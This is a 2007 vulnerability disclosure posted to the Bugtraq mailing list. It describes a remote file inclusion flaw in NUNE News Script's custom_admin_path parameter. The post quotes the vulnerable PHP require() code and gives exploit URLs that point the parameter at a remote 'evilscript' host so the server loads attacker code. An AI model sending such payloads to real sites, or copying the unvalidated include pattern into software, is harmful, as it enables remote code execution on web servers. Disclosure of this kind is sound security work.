[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20070107113659.15783.qmail@securityfocus.com>
Date: 7 Jan 2007 11:36:59 -0000
From: xorontr@...il.com
To: bugtraq@...urityfocus.com
Subject: NUNE News Script (custom_admin_path) Remote File Include Vulnerablity
-----------------------------------------------
NUNE News Script (custom_admin_path) Remote File Include Vulnerablity
-----------------------------------------------
Author: xoron
-----------------------------------------------
Code:
if (isset($custom_admin_path))
$special_admin_path = $custom_admin_path;
else
$special_admin_path = "news/admin";
require("$special_admin_path/config/nune.conf.php");
-----------------------------------------------
3xplo!t:
www.target.com/[script]/index.php?custom_admin_path=http://evilscript?
www.target.com/[script]/archives.php?custom_admin_path=http://evilscript?
-----------------------------------------------
download: http://download.sourceforge.net/nune/nune-2.0pre2.tar.gz
-----------------------------------------------
Greetz: str0ke, kacper, GODAttach
nukedx'e elveda, kendine iyi bak dostum..!
-----------------------------------------------
# milw0rm.com [2007-01-06]
Powered by blists - more mailing lists